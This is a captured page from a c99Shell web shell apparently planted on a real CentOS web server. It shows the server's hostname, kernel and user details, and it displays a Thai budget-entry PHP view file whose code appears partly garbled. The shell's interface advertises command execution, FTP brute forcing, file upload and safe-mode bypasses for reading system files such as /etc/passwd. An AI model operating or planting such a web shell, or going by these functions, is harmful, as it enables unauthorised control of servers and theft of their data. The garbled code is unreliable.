!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/esa/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_add_initialbudget.php (2.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_ib 
= (isset($qu_ib) && $qu_ib!=NULL) ? $qu_ib->row() : NULL;

$ib_bgY '';
$ib_id '';
if(
$row_ib!=NULL) {
    
$ib_bgY $row_ib->ib_bgY;
    
$ib_id $row_ib->ib_id;
}
?>
<table width="100%">
    <tr>
        <td align="center"><h3>ปีงบประมาณ</h3></td>
    </tr>
    <tr>
        <td><table id="table_input" class='szone2' width="60%">
        <?php echo form_open('esa/base_data/ib_insert_update');?>

            <tr>
                <td width="20%"><b>ปีงบประมาณ</b></td>
                <td><input type="text" name="ib_bgY" id="ib_bgY" value="<?php echo set_value('ib_bgY',$ib_bgY);?>" size="5" maxlength="4" class="required-int" />  <font color='red'>*</font>
                <input type="submit" name="add" id="add" value="เพิ่ม" />
                <input type="hidden" name="ib_id" id="ib_id" value="<?php echo ($row_ib==NULL) ? set_value('ib_id') : getval('ib_id',$row_ib);?>" />
                <?php echo form_error('ib_bgY');?>
                <?php echo isset($error_name)? $error_name "" ?>
                </td>
            </tr>
        <?php echo form_close();?></table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table id="table_show" class='tb_1'>
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th>ปีงบประมาณ</th>
                <th class="editCol">แก้ไข</th>
                <th class="deleteCol">ลบ</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_ib) && $rs_ib->num_rows()) {
        foreach(
$rs_ib->result() as $row_ib) {
?>
            <tr>
                <td align="center"><?php echo $i+1;?>
                <td align="cneter"><?php echo $row_ib->ib_bgY;?></td></td>
                <td align="center"><span class="hand" onClick="sendPost('myform', {'ib_id':<?php echo $row_ib->ib_id;?>}, 'ib_add')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
                <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'ib_id':<?php echo $row_ib->ib_id;?>}, 'ib_delete'); }"><?php echo img($this->config->item('sa_image_del'));?></td>
            </tr>
<?php
            $i
++;
        }
    } else {
?>
    <tr class="notfound">
        <td colspan="4" align="center"><?php echo $this->config->item('sa_not_found');?></td>
    </tr>
<?php
    
}
?>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--